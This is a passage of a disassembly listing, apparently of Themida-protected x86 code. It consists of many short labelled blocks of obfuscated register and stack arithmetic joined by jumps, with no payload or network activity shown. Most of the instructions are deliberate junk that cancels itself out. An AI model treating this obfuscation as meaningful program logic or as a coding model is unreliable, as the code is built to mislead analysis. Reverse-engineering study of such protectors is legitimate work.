		mov	ebp, 4
		add	edx, 56943DA8h
		sub	edx, 19681007h
		add	edx, ebp
		add	edx, 19681007h
		sub	edx, 56943DA8h
		pop	ebp
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55E0D1
; ---------------------------------------------------------------------------


loc_564064:				; CODE XREF: Themida_:0055C062j
		add	edi, 647A53E3h
		jmp	loc_561EFE
; ---------------------------------------------------------------------------


loc_56406F:				; CODE XREF: Themida_:0055D94Fj
		mov	esp, [esp]
		push	ecx
		push	ebx
		mov	bl, dl
		jmp	loc_556F92
; ---------------------------------------------------------------------------


loc_56407B:				; CODE XREF: Themida_:0055A36Ej
		mov	ebp, 947BC396h
		sub	ecx, ebp
		jmp	loc_557B60
; ---------------------------------------------------------------------------


loc_564087:				; CODE XREF: Themida_:0055F70Bj
		neg	edx
		xor	edx, 3CB50CCh
		dec	edx
		xor	edx, 8BFDC2CAh
		sub	eax, edx
		pop	edx
		jmp	loc_5578B6
; ---------------------------------------------------------------------------


loc_56409E:				; CODE XREF: Themida_:00563CA3j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_555726
; ---------------------------------------------------------------------------


loc_5640C3:				; CODE XREF: Themida_:00553FF2j
		add	edi, 0EB9B0EE8h
		mov	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	eax, ebx
		jmp	loc_560807
; ---------------------------------------------------------------------------


loc_5640D9:				; CODE XREF: Themida_:005512D8j
		sub	edi, edx
		mov	edx, [esp]
		jmp	loc_55742D
; ---------------------------------------------------------------------------


loc_5640E3:				; CODE XREF: Themida_:0055847Cj
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esi
		mov	esi, 5AB3589Bh
		xor	esi, 2C9B4B1Ch
		jmp	loc_563015
; ---------------------------------------------------------------------------


loc_564100:				; CODE XREF: Themida_:0055DA3Dj
		pop	ebx
		or	ebp, 29BF0A40h
		jmp	loc_5591EE
; ---------------------------------------------------------------------------


loc_56410C:				; CODE XREF: Themida_:005505D6j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1D800B2Dh
		add	ebp, 38330185h
		inc	ebp
		jmp	loc_560E39
; ---------------------------------------------------------------------------


loc_56412D:				; CODE XREF: Themida_:0055BFDCj
		pop	esi
		push	7273h
		mov	[esp], ebp
		push	edi
		mov	edi, 624B19D7h
		xor	edi, 36F63694h
		sub	edi, 329DBF34h
		mov	ebp, edi
		jmp	loc_550E5A
; ---------------------------------------------------------------------------


loc_56414F:				; CODE XREF: Themida_:00564CD1j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jmp	loc_561A1E
; ---------------------------------------------------------------------------


loc_56417C:				; CODE XREF: Themida_:00551A0Cj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_551A69
; ---------------------------------------------------------------------------


loc_564187:				; CODE XREF: Themida_:0055ECECj
		pop	dword ptr [esp]
		pop	esp
		add	dword ptr [esp+4], 72712E10h
		jmp	loc_552851
; ---------------------------------------------------------------------------


loc_564198:				; CODE XREF: Themida_:00550DD2j
		pop	edi
		jmp	loc_563CC8
; ---------------------------------------------------------------------------


loc_56419E:				; CODE XREF: Themida_:00562D9Dj
		push	edx
		jmp	loc_554E67
; ---------------------------------------------------------------------------


loc_5641A4:				; CODE XREF: Themida_:00553BCBj
		xchg	esi, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_5531DC
; ---------------------------------------------------------------------------


loc_5641BA:				; CODE XREF: Themida_:00556433j
		mov	edx, 70551371h
		not	edx
		jmp	loc_55F58F
; ---------------------------------------------------------------------------


loc_5641C6:				; CODE XREF: Themida_:0055C3A8j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5641CB:				; CODE XREF: Themida_:00556B62j
		or	ebp, 0E394027h
		jmp	loc_5568AB
; ---------------------------------------------------------------------------


loc_5641D6:				; CODE XREF: Themida_:0055D57Dj
		add	esp, 4
		inc	ecx
		add	ecx, 6CEF568Ch
		and	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 72A76D16h
		mov	edi, ebp
		pop	ebp
		jmp	loc_5658B3
; ---------------------------------------------------------------------------


loc_5641FA:				; CODE XREF: Themida_:00564745j
		mov	eax, ebp
		mov	esi, eax
		pop	eax
		pop	ebp
		push	ecx
		mov	ecx, 290C41CEh
		or	ecx, 20700F21h
		jmp	loc_55D54F
; ---------------------------------------------------------------------------


loc_564211:				; CODE XREF: Themida_:0055BA31j
		pop	eax
		sub	ecx, ebp
		pop	ebp
		jmp	loc_55066D
; ---------------------------------------------------------------------------


loc_56421A:				; CODE XREF: Themida_:00564EA0j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_561C13
; ---------------------------------------------------------------------------


loc_564227:				; CODE XREF: Themida_:0055B615j
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 42A7428Ch
		sub	ebx, 46353E12h
		add	ebx, eax
		add	ebx, 46353E12h
		push	ebp
		jmp	loc_55C453
; ---------------------------------------------------------------------------


loc_56424A:				; CODE XREF: Themida_:0055BF68j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55CE3C
; ---------------------------------------------------------------------------


loc_564256:				; CODE XREF: Themida_:0055547Dj
		add	eax, ebx
		add	eax, 739F118Ch
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_556765
; ---------------------------------------------------------------------------


loc_56426E:				; CODE XREF: Themida_:0055373Fj
		pop	ecx
		jmp	loc_55B329
; ---------------------------------------------------------------------------


loc_564274:				; CODE XREF: Themida_:00562A8Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	cx
		mov	ch, 4Bh
		add	bl, ch
		pop	cx
		push	277Dh
		mov	[esp], eax
		mov	al, 64h
		neg	al
		jmp	loc_559382
; ---------------------------------------------------------------------------


loc_5642A0:				; CODE XREF: Themida_:00560E34j
		push	dword ptr [esp]
		jmp	loc_55883C
; ---------------------------------------------------------------------------


loc_5642A8:				; CODE XREF: Themida_:00560645j
		push	edx
		mov	edx, 6ACD661Bh
		neg	edx
		sub	edx, 44675677h
		sub	edx, 58744261h
		and	edx, 23881B59h
		xor	edx, 3AC74F5Bh
		sub	eax, edx
		pop	edx
		jmp	loc_55F0E9
; ---------------------------------------------------------------------------


loc_5642D0:				; CODE XREF: Themida_:005610B9j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_552A5F
; ---------------------------------------------------------------------------


loc_5642DC:				; CODE XREF: Themida_:0055CD66j
		add	eax, ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5512A2
; ---------------------------------------------------------------------------


loc_5642EC:				; CODE XREF: Themida_:005597E8j
		pop	esi
		add	esi, 4
		push	0A60h
		mov	[esp], ebp
		push	ecx
		jmp	loc_556940
; ---------------------------------------------------------------------------


loc_564301:				; CODE XREF: Themida_:005575C7j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55ED41
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_564313:				; CODE XREF: Themida_:0055E1FCj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55CDD2
; ---------------------------------------------------------------------------


loc_56432F:				; CODE XREF: Themida_:00558FA3j
		push	ebx
		mov	ebx, 3F3A7743h
		not	ebx
		shr	ebx, 2
		xor	ebx, 4062D4h
		xor	esi, ebx
		pop	ebx
		or	esi, 7F3C00E7h
		jmp	loc_55A384
; ---------------------------------------------------------------------------


loc_56434E:				; CODE XREF: Themida_:0055E39Fj
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [esp], 75BA3676h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_550631
; ---------------------------------------------------------------------------


loc_564369:				; CODE XREF: Themida_:00551955j
		xor	dword ptr [esp], 27F253CCh
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 27F253CCh
		pop	ebp


loc_56437B:				; CODE XREF: Themida_:005550F8j
					; Themida_:00560D6Ej
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_55535C
; ---------------------------------------------------------------------------


loc_56438C:				; CODE XREF: Themida_:0055DACFj
		pop	ecx
		push	ebx
		sub	dword ptr [esp], 5D446D66h
		jmp	loc_55F0CF
; ---------------------------------------------------------------------------


loc_56439A:				; CODE XREF: Themida_:00553AD6j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55C4B8
; ---------------------------------------------------------------------------


loc_5643A3:				; CODE XREF: Themida_:005600D3j
		push	611306F6h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_552509
; ---------------------------------------------------------------------------


loc_5643B7:				; CODE XREF: Themida_:0055DCDBj
		push	1000h
		push	dword ptr [esp]
		jmp	loc_55B077
; ---------------------------------------------------------------------------


loc_5643C4:				; CODE XREF: Themida_:0055EFD5j
		mov	ebp, 7E0E78FCh
		shl	ebp, 1
		push	ecx
		jmp	loc_55B7C1
; ---------------------------------------------------------------------------


loc_5643D1:				; CODE XREF: Themida_:0055F490j
		add	bl, 0E0h
		pop	edx
		sub	bl, ch
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0Fh
		sub	bl, 9Fh
		add	bl, cl
		push	dx
		jmp	loc_55A6E8
; ---------------------------------------------------------------------------


loc_5643EE:				; CODE XREF: Themida_:005614A3j
		shl	esi, 7
		jmp	loc_55CF4E
; ---------------------------------------------------------------------------


loc_5643F6:				; CODE XREF: Themida_:005545AEj
		pop	ecx
		sub	edx, 66A7B213h
		shl	edx, 8
		push	65DEh
		mov	[esp], edi
		push	3D5F0A00h
		pop	edi
		xor	edx, edi
		jmp	loc_5609F0
; ---------------------------------------------------------------------------


loc_564415:				; CODE XREF: Themida_:00555693j
		inc	dh
		jmp	loc_5537A8
; ---------------------------------------------------------------------------


loc_56441C:				; CODE XREF: Themida_:0055367Fj
		pop	edx
		push	eax
		mov	al, 0C0h
		or	al, 99h
		jmp	loc_5513C6
; ---------------------------------------------------------------------------


loc_564427:				; CODE XREF: Themida_:0055CA83j
		mov	esi, 1D3D5EBFh
		xor	ebx, esi
		jmp	loc_551454
; ---------------------------------------------------------------------------


loc_564433:				; CODE XREF: Themida_:0056550Bj
		push	ebp
		mov	ebp, 4
		push	58F5h
		mov	[esp], edi
		mov	edi, 1BE01C33h
		push	ebx
		push	ecx
		mov	ecx, 1CE36372h
		mov	ebx, 3A31707Bh
		sub	ebx, ecx
		jmp	loc_55D0F6
; ---------------------------------------------------------------------------


loc_564459:				; CODE XREF: Themida_:00561A27j
		push	dword ptr [esp]
		jmp	loc_560AD9
; ---------------------------------------------------------------------------


loc_564461:				; CODE XREF: Themida_:0056549Cj
		mov	[esp], eax
		push	ebx
		push	476C617Ch
		pop	ebx
		inc	ebx
		jmp	loc_550DDF
; ---------------------------------------------------------------------------


loc_564471:				; CODE XREF: Themida_:00550822j
		push	0B78h
		mov	[esp], ebx
		mov	ebx, 43016DDh
		add	eax, 0AC11E20h
		sub	eax, ebx
		sub	eax, 0AC11E20h
		pop	ebx
		sub	eax, 16204B27h
		pop	ebp
		movzx	ax, byte ptr [eax]
		push	small 7382h
		jmp	loc_556937
; ---------------------------------------------------------------------------


loc_56449E:				; CODE XREF: Themida_:00556504j
		mov	dh, 3
		add	ah, 0F2h
		sub	ah, dh
		sub	ah, 0F2h
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_561D07
; ---------------------------------------------------------------------------


loc_5644C2:				; CODE XREF: Themida_:00557D08j
		mov	ecx, 6B444CE6h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	1A97h
		mov	[esp], ecx
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_55DDF0
; ---------------------------------------------------------------------------


loc_5644E1:				; CODE XREF: Themida_:0055A3F8j
		not	dl
		inc	dl
		sub	dl, 8Fh
		jmp	loc_55E654
; ---------------------------------------------------------------------------


loc_5644ED:				; CODE XREF: Themida_:0055752Aj
		sub	ebx, 7A659F2h
		jmp	loc_5594E7
; ---------------------------------------------------------------------------


loc_5644F8:				; CODE XREF: Themida_:0055CED9j
		push	cx
		mov	cl, 35h
		xor	dh, cl
		jmp	loc_5604F8
; ---------------------------------------------------------------------------


loc_564503:				; CODE XREF: Themida_:0055EEE8j
		add	ebx, ecx
		pop	ecx
		sub	ebx, ebp
		sub	ebx, 39D30A3Eh
		jmp	loc_55807D
; ---------------------------------------------------------------------------


loc_564513:				; CODE XREF: Themida_:0055A7C6j
		mov	eax, [esp]
		add	esp, 4
		mov	ah, bl
		jmp	loc_55B753
; ---------------------------------------------------------------------------


loc_564520:				; CODE XREF: Themida_:00556AD9j
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_553C29
; ---------------------------------------------------------------------------


loc_564529:				; CODE XREF: Themida_:0055D71Dj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_557A86
; ---------------------------------------------------------------------------


loc_56453A:				; CODE XREF: Themida_:00556349j
		pop	ebx
		jmp	loc_550774
; ---------------------------------------------------------------------------


loc_564540:				; CODE XREF: Themida_:00560EADj
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_564DBC
; ---------------------------------------------------------------------------


loc_56455B:				; CODE XREF: Themida_:0055D9DBj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563A9D
; ---------------------------------------------------------------------------


loc_564564:				; CODE XREF: Themida_:00565C4Ej
		sub	ebx, 7FBE7BD3h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56378F
; ---------------------------------------------------------------------------


loc_56457A:				; CODE XREF: Themida_:00561AE9j
		add	esp, 4
		push	eax
		mov	eax, 56D21227h
		and	ebp, eax
		pop	eax
		push	eax
		push	esi
		mov	esi, 7B416F82h
		jmp	loc_55E268
; ---------------------------------------------------------------------------


loc_564595:				; CODE XREF: Themida_:005543F7j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55C213
; ---------------------------------------------------------------------------


loc_5645A6:				; CODE XREF: Themida_:00552BF9j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	10C1h
		mov	[esp], edx
		mov	edx, 4
		push	edi
		mov	edi, 64A67C62h
		xor	edi, 5B566025h
		jmp	loc_559FD9
; ---------------------------------------------------------------------------


loc_5645CC:				; CODE XREF: Themida_:0055FBD8j
		add	ecx, edi
		push	dword ptr [ecx]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_560275
; ---------------------------------------------------------------------------


loc_5645E7:				; CODE XREF: Themida_:00550B27j
		add	esp, 4
		add	ebx, 45E63043h
		add	ebx, esi
		sub	ebx, 45E63043h
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [ebx]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55D411
; ---------------------------------------------------------------------------


loc_56460F:				; CODE XREF: Themida_:00555E65j
		sub	ecx, 1B7228E9h
		push	eax
		push	ebp
		jmp	loc_553FA6
; ---------------------------------------------------------------------------


loc_56461C:				; CODE XREF: Themida_:0055BF7Cj
		mov	ecx, 44E50C8Dh
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp]
		push	ebp
		push	esp
		jmp	loc_558B2C
; ---------------------------------------------------------------------------


loc_56462E:				; CODE XREF: Themida_:00554833j
		sub	edi, 0E0F27B7h
		add	edi, 582C1E4Fh
		jmp	loc_558DE1
; ---------------------------------------------------------------------------


loc_56463F:				; CODE XREF: Themida_:0055531Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56464D:				; CODE XREF: Themida_:005533E7j
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	eax
		jmp	loc_556138
; ---------------------------------------------------------------------------


loc_564666:				; CODE XREF: Themida_:0055086Cj
		mov	[esp], eax
		jmp	loc_565C76
; ---------------------------------------------------------------------------


loc_56466E:				; CODE XREF: Themida_:00554B5Dj
		sub	al, dl
		sub	al, 95h
		pop	edx
		add	bl, 5Bh
		jmp	loc_5577D1
; ---------------------------------------------------------------------------


loc_56467B:				; CODE XREF: Themida_:005623FFj
		mov	esi, ebp
		pop	ebp
		add	ebp, 12096C0Dh
		sub	ebp, esi
		sub	ebp, 12096C0Dh
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55A932
; ---------------------------------------------------------------------------


loc_56469C:				; CODE XREF: Themida_:00553FCDj
		not	edx
		add	edx, 1860851h
		add	ecx, 7F195E2Ah
		add	ecx, edx
		jmp	loc_555CA7
; ---------------------------------------------------------------------------


loc_5646B1:				; CODE XREF: Themida_:00554150j
		push	2F28h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	404Ch
		jmp	loc_558EEA
; ---------------------------------------------------------------------------


loc_5646CC:				; CODE XREF: Themida_:00557B41j
		add	edx, 4
		jmp	loc_5627CE
; ---------------------------------------------------------------------------


loc_5646D4:				; CODE XREF: Themida_:0055B93Aj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp


loc_5646DB:				; CODE XREF: Themida_:00557D2Bj
		push	2917h
		jmp	loc_55C116
; ---------------------------------------------------------------------------


loc_5646E5:				; CODE XREF: Themida_:00550C88j
		pop	ebp
		jmp	loc_55B7FB
; ---------------------------------------------------------------------------


loc_5646EB:				; CODE XREF: Themida_:0055EB28j
		sub	ebx, edx
		pop	edx
		jmp	loc_55CCAA
; ---------------------------------------------------------------------------


loc_5646F3:				; CODE XREF: Themida_:00563864j
		or	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 6FC75907h
		dec	ebx
		add	ebx, 0DF66F90Ch
		jmp	loc_55CBD9
; ---------------------------------------------------------------------------


loc_56470D:				; CODE XREF: Themida_:00555DD5j
		or	edx, 70E442Ah
		dec	edx
		and	edx, 4D473F2Fh
		not	edx
		xor	edx, 0EC18C841h
		xor	edi, edx
		pop	edx
		neg	edi
		dec	edi
		sub	edi, 9D6D3FF8h
		xor	ebx, edi
		pop	edi
		add	edi, 3D917877h
		add	edi, ebx
		jmp	loc_5598BA
; ---------------------------------------------------------------------------


loc_56473E:				; CODE XREF: Themida_:0055C034j
		push	ebp
		mov	ebp, 37662032h
		push	eax
		jmp	loc_5641FA
; ---------------------------------------------------------------------------


loc_56474A:				; CODE XREF: Themida_:0055F613j
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_553C8E
; ---------------------------------------------------------------------------


loc_564756:				; CODE XREF: Themida_:005628C5j
		shr	ecx, 7
		jmp	loc_5546D2
; ---------------------------------------------------------------------------


loc_56475E:				; CODE XREF: Themida_:005507DBj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_55FDFE
; ---------------------------------------------------------------------------


loc_564768:				; CODE XREF: Themida_:00555D6Dj
		add	ebx, 8B80CA1h
		add	ebx, eax
		sub	ebx, 8B80CA1h
		jmp	loc_551B67
; ---------------------------------------------------------------------------


loc_56477B:				; CODE XREF: Themida_:00557CC8j
		mov	cl, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_56180B
; ---------------------------------------------------------------------------


loc_56478E:				; CODE XREF: Themida_:00552350j
		xchg	eax, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56479D:				; CODE XREF: Themida_:00555B72j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_551105
; ---------------------------------------------------------------------------


loc_5647B2:				; CODE XREF: Themida_:00550597j
		sub	ebx, 4
		push	4DF5h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55EBF8
; ---------------------------------------------------------------------------


loc_5647D2:				; CODE XREF: Themida_:0055723Dj
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_55480C
; ---------------------------------------------------------------------------


loc_5647E2:				; CODE XREF: Themida_:00555C30j
		push	edi
		jmp	loc_55DDFC
; ---------------------------------------------------------------------------


loc_5647E8:				; CODE XREF: Themida_:0055101Cj
		mov	[esp], esi
		push	66C7h
		mov	[esp], ebx
		push	edi
		mov	edi, 172406ACh
		mov	ebx, edi
		jmp	loc_55F7B8
; ---------------------------------------------------------------------------


loc_564800:				; CODE XREF: Themida_:0055A350j
		mov	edx, 961B5F17h
		sub	ecx, edx
		pop	edx
		mov	edx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_56375F
; ---------------------------------------------------------------------------


loc_564816:				; CODE XREF: Themida_:0055FD0Fj
		pop	ecx
		jmp	loc_553359
; ---------------------------------------------------------------------------


loc_56481C:				; CODE XREF: Themida_:0056038Bj
		shl	eax, 5
		inc	eax
		shr	eax, 6
		add	eax, 0FC884EBDh
		add	ecx, 47F0DC9h
		sub	ecx, eax
		sub	ecx, 47F0DC9h
		mov	eax, [esp]
		jmp	loc_55665C
; ---------------------------------------------------------------------------


loc_56483E:				; CODE XREF: Themida_:0055A8ADj
		mov	[esp], edx
		push	0E543F12h
		pop	edx
		jmp	loc_55D928
; ---------------------------------------------------------------------------


loc_56484C:				; CODE XREF: Themida_:00560069j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_562DBE
; ---------------------------------------------------------------------------


loc_564871:				; CODE XREF: Themida_:005530AAj
		push	ebx
		jmp	loc_55850A
; ---------------------------------------------------------------------------


loc_564877:				; CODE XREF: Themida_:00560888j
		shl	ebx, 6
		push	edi
		mov	edi, 7C731344h
		inc	edi
		jmp	loc_55AA5D
; ---------------------------------------------------------------------------


loc_564886:				; CODE XREF: Themida_:0055DB18j
		neg	ecx
		shl	ecx, 1
		shr	ecx, 7
		push	ebx
		jmp	loc_55A3D2
; ---------------------------------------------------------------------------


loc_564893:				; CODE XREF: Themida_:00552E64j
		pop	esp
		push	edi
		mov	edi, 1
		add	edx, edi
		pop	edi
		xor	edx, 0F81191Bh
		push	3EB3h
		mov	[esp], eax
		push	0DB295FFAh
		pop	eax
		jmp	loc_559833
; ---------------------------------------------------------------------------


loc_5648B6:				; CODE XREF: Themida_:00553A33j
		inc	edx
		sub	edx, 5F6267A2h
		xor	eax, edx
		pop	edx
		jmp	loc_557723
; ---------------------------------------------------------------------------


loc_5648C5:				; CODE XREF: Themida_:00557FF3j
		xor	edx, [esp]
		jmp	loc_563C41
; ---------------------------------------------------------------------------


loc_5648CD:				; CODE XREF: Themida_:00550735j
		sub	eax, ebx
		add	eax, 459730ACh
		pop	ebx
		add	eax, 135B1893h
		jmp	loc_5592AA
; ---------------------------------------------------------------------------


loc_5648DF:				; CODE XREF: Themida_:005607C2j
		pop	edx
		pop	ecx
		add	ecx, ebx
		pop	ebx
		jmp	loc_55B161
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esi
		push	3062h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	esi
		jmp	loc_563C66
; ---------------------------------------------------------------------------


loc_56490E:				; CODE XREF: Themida_:0055F9C7j
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_563157
; ---------------------------------------------------------------------------


loc_56491D:				; CODE XREF: Themida_:00560D94j
		push	edx
		mov	edx, 6BA672ABh
		jmp	loc_5600A0
; ---------------------------------------------------------------------------


loc_564928:				; CODE XREF: Themida_:00559924j
		mov	esi, [esp]
		add	esp, 4
		inc	edi
		jmp	loc_554822
; ---------------------------------------------------------------------------


loc_564934:				; CODE XREF: Themida_:00555831j
		add	eax, 4
		jmp	loc_554E70
; ---------------------------------------------------------------------------


loc_56493C:				; CODE XREF: Themida_:005621AEj
		push	edi
		jmp	loc_55CFB7
; ---------------------------------------------------------------------------


loc_564942:				; CODE XREF: Themida_:0055F850j
		push	esp
		jmp	loc_557843
; ---------------------------------------------------------------------------


loc_564948:				; CODE XREF: Themida_:0055877Aj
		sub	ebp, 253543B6h
		xor	ebp, 9BFB8D05h
		xor	edx, ebp
		pop	ebp
		sub	edi, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_55A5E8
; ---------------------------------------------------------------------------


loc_56497E:				; CODE XREF: Themida_:00564CC7j
		sub	ebx, 1
		add	ebx, 795C0CEFh
		shl	ebx, 5
		add	ebx, 351B68A1h
		xor	ebx, 0AE75AB62h
		add	ebp, ebx
		pop	ebx
		jmp	loc_557199
; ---------------------------------------------------------------------------


loc_56499E:				; CODE XREF: Themida_:005596FDj
		add	edi, esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		add	edi, 2
		jmp	loc_559322
; ---------------------------------------------------------------------------


loc_5649B2:				; CODE XREF: Themida_:00559FF0j
		neg	ebp
		xor	ebp, 35F3512h
		sub	ebp, 2C0A2DF0h
		jmp	loc_55CFE1
; ---------------------------------------------------------------------------


loc_5649C5:				; CODE XREF: Themida_:00565530j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55EA28
; ---------------------------------------------------------------------------


loc_5649D4:				; CODE XREF: Themida_:005568DAj
		pop	edx
		sub	ebp, edi
		pop	edi
		push	edi
		jmp	loc_55EA0D
; ---------------------------------------------------------------------------


loc_5649DE:				; CODE XREF: Themida_:0056043Cj
		push	4ACh
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_557856
; ---------------------------------------------------------------------------


loc_5649F2:				; CODE XREF: Themida_:0055E180j
		sub	esp, 4
		jmp	loc_55CB93
; ---------------------------------------------------------------------------


loc_5649FD:				; CODE XREF: Themida_:00562578j
		movzx	ecx, al
		push	6A1Dh
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_55D7EE
; ---------------------------------------------------------------------------


loc_564A0F:				; CODE XREF: Themida_:0056201Dj
		push	esi
		jmp	loc_5566A6
; ---------------------------------------------------------------------------


loc_564A15:				; CODE XREF: Themida_:005595D7j
		sub	bl, 16h
		mov	cl, bl
		jmp	loc_555DE6
; ---------------------------------------------------------------------------


loc_564A1F:				; CODE XREF: Themida_:005569A7j
		sub	al, 1Bh
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0D5h
		not	cl
		sub	cl, 54h
		sub	al, cl
		pop	ecx
		push	bx
		mov	bh, 85h
		sub	esp, 2
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0F7h
		dec	bh
		neg	bh
		jmp	loc_55CA96
; ---------------------------------------------------------------------------


loc_564A50:				; CODE XREF: Themida_:0055926Fj
		sub	ebp, eax
		sub	ebp, 67FF6107h
		pop	eax
		add	eax, 5FEC3B6Eh
		jmp	loc_55375D
; ---------------------------------------------------------------------------


loc_564A63:				; CODE XREF: Themida_:0055DDEBj
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55C4BF
; ---------------------------------------------------------------------------


loc_564A75:				; CODE XREF: Themida_:0055E944j
		pop	edx
		sub	esp, 4
		jmp	loc_55267B
; ---------------------------------------------------------------------------


loc_564A81:				; CODE XREF: Themida_:0055843Dj
		xor	dx, cx
		jmp	loc_55CD6B
; ---------------------------------------------------------------------------


loc_564A89:				; CODE XREF: Themida_:00551C30j
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		push	eax
		mov	eax, 371A77CCh
		sub	[esp+8], eax
		pop	eax
		jmp	loc_561B9C
; ---------------------------------------------------------------------------


loc_564AA2:				; CODE XREF: Themida_:00562EB5j
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_563C56
; ---------------------------------------------------------------------------


loc_564AC5:				; CODE XREF: Themida_:00552489j
		mov	esi, 14C0414Bh
		jmp	loc_56347A
; ---------------------------------------------------------------------------


loc_564ACF:				; CODE XREF: Themida_:0055A16Aj
		shl	edi, 4
		jmp	loc_555299
; ---------------------------------------------------------------------------


